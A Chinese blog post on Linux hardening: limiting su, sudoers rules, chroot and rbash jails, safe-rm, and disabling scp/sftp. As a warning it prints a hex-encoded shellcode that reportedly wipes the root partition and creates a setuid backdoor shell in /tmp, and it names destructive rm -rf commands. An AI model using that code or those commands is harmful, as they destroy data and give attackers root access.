Linux安全之禁用特定命令

本文围绕Linux系统安全运维,介绍限制用户执行权限过大或敏感命令的方法。包括禁用普通用户su到root、执行某些命令,限制root执行命令及授权sudo,禁用ssh登录、scp和sftp执行某些命令,以及禁止执行rm -rf /*等,为日常安全运维提供参考。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、背景

在生产实际中,常常会因为某些安全要求,需要对linux系统限制用户执行权限过大的命令或较敏感的,因此,如何限制系统的某些功能,限制linux系统下用户可执行的命令,将是一件安全日常不断需要深入研究的事,本文主要从几个方面,整理相关限制命令执行的方法,以供日常安全运维参考;

在这里插入图片描述

二、操作(未完待续)

1、禁用普通用户su到root

1)禁止非WHEEL用户使用SU命令

编辑su配置文件:vi /etc/pam.d/su,开启:

auth required /lib/security/$ISA/pam_wheel.so use_uid   //即要求wheel组的用户才可执行su,只有usermod -G wheel 用户,才可su;
auth required pam_wheel.so use_uid

修改/etc/login.defs文件:

echo “SU_WHEEL_ONLY yes” >> /etc/login.defs   //普通用户登录,shell限制

修改默认的su的wheel组:vi /etc/pam.d/su文件

auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=wheel   //可将wheel替换为其他组

2、禁用普通用户执行某些命令

vim /etc/sudoers #此文件权限默认440,修改的时候需要先改成777,修改后再改回440,否则报错,建议使用visudo编辑

#文末追加
Cmnd_Alias USERADMINCMNDS =!/usr/bin/passwd, !/usr/bin/passwd root, !/usr/bin/passwd root --stdin  #
monitor ALL=(ALL:ALL) ALL,USERADMINCMNDS,!/bin/su,!/bin/bash,!/usr/bin/su,!/usr/bin/rm ##第一个monitor是用户账号 第二列的ALL是登陆者的来源主机名,第三列=(ALL)是代表可以切换身份,第四列ALL是可执行的命令.
#禁用su
Cmnd_Alias DISABLE_SU=/bin/su
普通用户 ALL=(ALL:ALL) NOPASSWD:ALL,!DISABLE_SU  #验证,系统应返回如下错误消息: “Sorry. user xxx is not allowed to execute "/bin/su’ as root on hostname.”.
%admin ALL=(ALL) ALL, !DISABLE SU  #admin组用户禁用su
#允许执行指定命令,用root的身份免密来运行/usr/bin/passwd,/bin/su,/usr/bin/rz
monitor ALL=(root) NOPASSWD:/usr/bin/passwd,NOPASSWD:/bin/su,NOPASSWD:/usr/bin/rz #!/bin/su
#比对
admin ALL=(root) NOPASSWD:/usr/bin/*,NOPASSWD:!/bin/su,NOPASSWD:/sbin/*,NOPASSWD:/bin/* #不影响
#下面会显示sudo su报错:xx is not allowed to execute '/bin/su' as root on
admin ALL=(root) NOPASSWD:/usr/bin/*,NOPASSWD:/sbin/*,NOPASSWD:/bin/*,NOPASSWD:!/bin/su

#允许sudo su
monitor ALL=(ALL) /usr/bin/sudo,/bin/su,/usr/bin/passwd,/usr/bin/passwd [A-Za-z]*,!/usr/bin/passwd root

说明:

sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
su:没有时间限制。
sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。
当s权限在文件所有者 x 权限位上时,例如:-rwsr-xr-x,此时称为Set UID,简称为SUID的特殊权限,即当执行该文件时将具有该文件所有者的权限。使一个目录既能够让任何用户写入文档,又不让用户删除这个目录下他人的文档,sticky就是能起到这个作用。stciky一般只用在目录上,用在文档上起不到什么作用(如/home,权限为1777)任何的用户都能够在这个目录下创建文档,但只能删除自己创建的文档)。

方式2:使用chroot或限制Shell:通过将用户限制在chroot环境中,可以限制他们执行的命令范围;可以使用特定的Shell,如rbash或者lshell,来限制用户执行的命令。

1、chroot环境可以创建一个受限制的文件系统环境,其中普通用户只能访问和执行指定的命令和文件。
通过在chroot环境中提供有限的命令和文件,可以限制普通用户的活动范围。这通常需要将必需的命令和库文件复制到chroot环境中,可以确保用户只能访问这些命令和文件。

2、可以使用特定的Shell来限制用户可以执行的命令。例如,可以使用rbash(restricted bash)来限制用户的活动范围。rbash会限制用户只能执行指定的命令,而其他命令则会被禁止。另一个选择是使用lshell,它是一个限制Shell,可以通过配置文件来限制用户可以执行的命令和活动范围。

useradd developer
echo '123456' | passwd --stdin developer 
mkdir /mychroot
mkdir ./{dev,etc,bin,lib64,home} 
sudo cp /usr/bin/ls /usr/bin/cat /lib /lib64 /bin/bash /etc/passwd /etc/group /mychroot  #或
#对于其他命令也一样,利用如下将依赖的文件拷贝到lib目录下
for i in `ldd /bin/bash | awk '{print $3}'| grep '^/lib'`;do cp -v $i $chroot/lib64/;done
for i in `ldd /bin/bash | awk '{print $1}'| grep '^/lib'`;do cp -v $i $chroot/lib64/;done 
ldd /usr/bin/ls
cd ./dev
dev 
mknod -m 666 null c 1 3
mknod -m 666 tty c 5 0
mknod -m 666 zero c 1 5
mknod -m 666 random c 1 8

sudo chroot /mychroot
vim /etc/ssh/sshd_config  #修改如下
Match User developer
ChrootDirectory /mychroot
Subsystem sftp internal-sftp /usr/libexec/openssh/sftp-server

systemctl restart sshd

#脚本示例
#!/bin/bash

cmdlist="/bin/bash /bin/ls /bin/cp /bin/mkdir /bin/mv /bin/rm /bin/rmdir /usr/bin/ssh /usr/bin/id"

# chroot路径
chroot_path="/mychroot"

# 判断依赖的库文件
lib_1=`ldd $cmdlist | awk '{ print $1 }' | grep "/lib" | sort | uniq`
lib_2=`ldd $cmdlist | awk '{ print $3 }' | grep "/lib" | sort | uniq`

# 复制命令文件
for i in $cmdlist
do
  if [ ! -d `dirname ${chroot_path}$i` ];then
  mkdir -p `dirname ${chroot_path}$i`
  fi
  cp -a $i ${chroot_path}$i && echo "$i done"
done
# 复制依赖的库文件(因为是i386,所以是lib,如果是x86_64,则是lib64,)
for j in $lib_1
do
  if [ ! -d `dirname ${chroot_path}$j` ];then
  mkdir -p `dirname ${chroot_path}$j`
  fi
  cp -f $j ${chroot_path}$j && echo "$j done"
done

for k in $lib_2
  do
  if [ ! -d `dirname ${chroot_path}$k` ];then
  mkdir -p `dirname ${chroot_path}$k`
  fi
  cp -f $k ${chroot_path}$k && echo "$k done"
done 

#限制shell
yum install lshell
cp  /bin/bash  /bin/rbash
bash -c 'echo "/bin/rbash" >> /etc/shells'
useradd -s  /bin/rbash  developer  #或
sudo chsh -s /bin/rbash developer
mkdir -p  /home/developer/.bin
sudo ln -s /bin/ls /home/developer/.bin/
sudo ln -s /bin/cat /home/developer/.bin
vim /home/developer/.bashrc #添加export PATH=$HOME/.bin/. ,首行需以# .bashrc开头

#脚本示例

#!/bin/bash
# rbash脚本
create_user()
{
    if [ ! -f "/bin/rbash" ];then
        ln -s /bin/bash /bin/rbash
    fi
 
    count=`cat /etc/shells | grep /bin/rbash | wc -l`
    if [ $count -eq 0 ];then
        bash -c 'echo "/bin/rbash" >> /etc/shells'
    fi
 
    count=`cat /etc/passwd | grep $user | wc -l`
    if [ $count != 0 ];then
        # -n参数, 不换行输出
        echo -n "[ The user already exists, modify the shell? ] "
        read flag
        if [ $flag == "y" ];then
            chsh -s /bin/rbash $user
        fi
    else
        aa=`openssl passwd -1 $password`
        useradd -s /bin/rbash -p $aa -d /home/$user $user
    fi
 
    if [ ! -d "/home/$user/bin" ];then
        mkdir -p /home/$user/bin
    fi
 
}
 
# 添加相应的命令的软连接
add_command()
{
    for i in $com;do
        count=`ls /home/$user/bin/ | grep "$i" | wc -l`
        if [ $count -eq 0 ];then
            path=`which $i`
            ln -s $path /home/$user/bin/$i
        fi
    done
}
 
bash_profile()
{
    echo "export PATH=/home/$user/bin/" >> /home/$user/.bashrc
}
 
info()
{
    echo "Restricted Rbash!" > /etc/motd
}
 
clear_history()
{
    # 清空历史记录
    echo "" > ~/.bash_history
    history -c
}
 
p_v()
{
    if [ $UID != 0 ];then
        echo "You need to be root to perform this command."
        exit 1
    fi
    if [ "$user" == "" ];then
        echo "Please enter user name."
        exit 1
    fi
    if [ "$password" == "" ];then
        echo "Please enter user password."
        exit 1
    fi 
}
 
user=$1
password=$2
 
main()
{
    # 允许的命令, 用空格进行分隔
    # cd命令在rbash上是受限的, 建立软连接也不能执行
    com="ifconfig ip ls"
 
    p_v
    
    # 如果用户已存在注释create_user和bash_profile
    create_user
    add_command
    bash_profile
    # info
    clear_history
}
 
main

#lshell方式
vim /etc/lshell.conf
[default]
allowed = /bin/ls, /bin/cat
forbidden = *, !/bin/ls, !/bin/cat
chown root:root /etc/lshell.conf
chmod 644 /etc/lshell.conf
echo "source /etc/lshell.conf" | sudo tee -a /home/testuser/.lshellrc

方式3:使用AppArmor或SELinux:这些安全模块可以帮助限制用户对系统资源的访问,包括限制用户执行特定命令的权限。

3、禁用root执行某些命令和授权sudo

1)禁止授权普通用户sudo:

chmod u+w /etc/sudoers

2)vi /etc/sudoers 或visudo,编辑sudoers文件,找到以下行:
xxx ALL = (ALL) ALL ## 将xxx替换为允许sudo的普通用户名,后面ALL替换为限制sudo执行的命令;

还可以为每个用户建立特定sudo策略文件,在/etc/sudoers.d/目录下建立与用户同名的策略文件:

visudo -f /etc/sudoers.d/blue,写入:
blue ALL=/usr/bin/, !/usr/bin/passwd, /bin/,  !/bin/kill  ##不可杀进程和修改密码
#说明: xxx ALL = (ALL) ALL 
xxx:这是被授权使用 sudo 的用户名或组名。如果你想为一个特定的用户授权,就使用该用户的用户名替代 xxx。如果你想为一个组授权,可以使用组名,如 %wheel。

ALL:这指定了 xxx 可以在哪台机器上使用 sudo。在这个上下文中,ALL 表示 xxx 可以在所有主机上使用 sudo。

=:这个等号是 sudoers 文件中用来指定命令别名或特定的命令的。

ALL(第一个 ALL):这指定了 xxx 可以以哪个用户的身份执行命令。这里 ALL 表示 xxx 可以以任何用户的身份执行命令。

ALL(第二个 ALL):这指定了 xxx 可以执行哪些命令。在这里,ALL 表示 xxx 可以执行所有命令。

3)限制root执行某些命令

相关实践采用safe-rm代替,结合用 rm -rfi 替代rm -rf,默认不要修改家目录下.bashrc里的rm别名;

wget https://launchpad.net/safe-rm/trunk/0.12/+download/safe-rm-0.12.tar.gz
tar -zxvf safe-rm-0.12.tar.gz 
#进入目录
cd safe-rm-0.12
#复制safe-rm 文件到 /usr/local/bin
cp safe-rm /usr/local/bin/
#替代rm
ln -s /usr/local/bin/safe-rm /usr/local/bin/rm

vi /etc/profile #增加一条:
export PATH=/usr/local/bin:$PATH
#使环境变量生效
source /etc/profile

#设置保护目录名单

vi /usr/local/bin/safe-rm  #配置如下
my %default_protected_dirs = (
    '/bin'               => 1,
    '/boot'              => 1,
    '/dev'               => 1,
    '/etc'               => 1,
    '/home'              => 1,
    '/initrd'            => 1,
    '/lib'               => 1,
    '/lib32'             => 1,
    '/lib64'             => 1,
    '/proc'              => 1,
    '/root'              => 1,
    '/sbin'              => 1,
    '/sys'               => 1,
    '/usr'               => 1,
    '/usr/bin'           => 1,
    '/usr/include'       => 1,
    '/usr/lib'           => 1,
    '/usr/local'         => 1,
    '/usr/local/bin'     => 1,
    '/usr/local/include' => 1,
    '/usr/local/sbin'    => 1,
    '/usr/local/share'   => 1,
    '/usr/local/rm_test' => 1,
    );



rm -rf的炸弹模式:如下所示,它是以十六进制隐藏的命令,这种在这里插入代码片隐藏很具有欺骗性。在终端中运行以下代码将擦除根分区,故不要编译或者运行来自未知来源的代码。

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
=\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;;

注:相关实践表明,rm -rf / 会被OS当做危险操作拒绝执行的;即服务器不会执行rm -fr /命令,只会提示这是一个危险操作,但操作也还是要谨慎;其上删库跑路的两个命令:rm -fr --no-preserve-root /或rm -fr /*,严禁执行;root权限执行删库跑路,恢复的希望基本无,需及时umount掉/或直接从其他救援盘引导,从block恢复;非root权限删库跑路只会删除掉自己创建的文件,对服务器和其他用户无影响。虽然下图大部分发行版有这种保护功能,但老版本可能就没有,还是得小心。
在这里插入图片描述
MV方式替代,需要编写脚本,实体如下:

#!bin/sh
trash_dir=/trash/`date +%Y%m%d`      #自己创建的文件夹的路径

if [ ! -d ${trash_dir} ] ;then
    mkdir -p ${trash_dir}
fi

for i in $*
do
    suffix=`date "+%H%M%S"`  #会在原文件后面增加时间,然后mv到回收站,解决同名文件频繁删除会引起覆盖提示或提示目标非空
    if [ ! -d "${i}" ]&&[ ! -f "${i}" ];then    #首先判断是否是合法的文件或者文件夹
        if [ "${i}" != "-rf" ];then     #这里对-rf进行处理,因为mv指令后面没有-rf参数
           echo "[${i}] do not exist"
        fi
    else
        file_name=`basename $i`   #取得文件名称  
        mv ${i} ${trash_dir}/${file_name}_${suffix}_${RANDOM} 
        echo "[${i}] delete completed"  
    fi
done

清空回收站:

#!bin/sh
trashdir=/trash
cd ${trashdir}
find ./ -mtime +3 -exec 'rm' -rf {} \;       #找到回收站中修改日期大于3天的文件,执行真正的删除;rm被封装后,带引号的’rm’执行的是真正的删除

#别名替换:修改/etc/bashrc和~/.bashrc,保存后source生效
alias rm='sh /home/shell/changerm.sh'
#定时清理
crontab -e  #在里边加入:
00 22 * * * sh /home/shell/cleartrash.sh     #每天22:00执行清理回收站的脚本
service crond restart  #重启crond服务使之生效:
crontab -l  #验证

另外注意,要删除一个目录下的所有内容,不要使用rm -rf ./* ,更进一步地,不要使用 ./* 来引用当前目录下的所有文件,直接使用 * 即可,这样可以避免写成 /* 或者 / * 这样的悲剧发生。另外注意'rm' -rf {} \避免写成'rm' -rf {} /;

4)禁用内部命令

root下执行help可查看内部命令,然后执行:enable -n 要禁止的命令,可以禁止;如果再启用,只需执行enable 要启用的命令

5)禁用history

history命令配置时间戳:# export HISTTIMEFORMAT=‘%F %T ’
查看:# export HISTTIMEFORMAT=’%F %T ’ # history | more
控制历史命令记录的总行数:vi ~/.bash_profile,修改:HISTSIZE=450 HISTFILESIZE=450
强制 history 不记住特定的命令:# export HISTCONTROL=ignorespace //在不想被记住的命令前面输入一个空格
禁用 history: # export HISTSIZE=0

4、禁用ssh登录执行某些命令

#编辑~/.ssh/authorized_keys,在前面加上语句:
command="bash --restricted --noprofile --rcfile$HOME/.stricted_profile" ssh-rsa……  #使用restricted模式,并且不加载系统默认的profile文件,而加载我们定义的profile文件$HOME/.stricted_profile。上面添加command参数一定是在一个主机行的前面,每添加一台主机,需要添加一行。
vim $HOME/.stricted_profile文件  #内容如下
PATH=${HOME}/bin
export PATH
#配置允许ssh登录可执行的命令
mkdir $HOME/bin
ln -s /usr/bin/ssh $HOME/bin/  #当登陆这台机器的时候,除了ssh 命令,不能使用其他任何命令

5、禁用scp和sftp

rpm -qa|grep openssh-*
yum remove openssh-clients -y
#禁止sftp
vi /etc/ssh/sshd.config
Subsystem sftp /usr/libexec/openssh/sftp-server #注释掉
mv /usr/lib/sftp-server /usr/lib/

6、禁止执行rm -rf /*

利用工具afe-rm,安装后替换系统命令rm;
在这里插入图片描述

下载地址:https://launchpad.net/safe-rm/+download;
下载:wget https://launchpad.net/safe-rm/trunk/1.1.0/+download/safe-rm-1.1.0.tar.gz

tar -zxvf safe-rm-1.1.0.tar.gz   # 将safe-rm命令复制到系统的/usr/local/bin目录
cp safe-rm-1.1.0/safe-rm /usr/local/bin/
ln -s /usr/local/bin/safe-rm /usr/local/bin/rm   # 创建软链接,用safe-rm替换rm,如果有问题,请检查环境变量PATH,是否包含/usr/local/bin路径

设置过滤目录:
编辑:vi /etc/safe-rm.conf 文件,添加需要过滤的目录即可,一行一个,而且应满足递归原则;格式:
/ 代表过滤 目录/
./* 代表过滤 目录/ 下面的所有文件

递归过滤示例(这样/root/blue/students各级目录都会受到保护):

/
/root
/root/blue
/root/blue/students

示例2:

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

羌俊恩

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值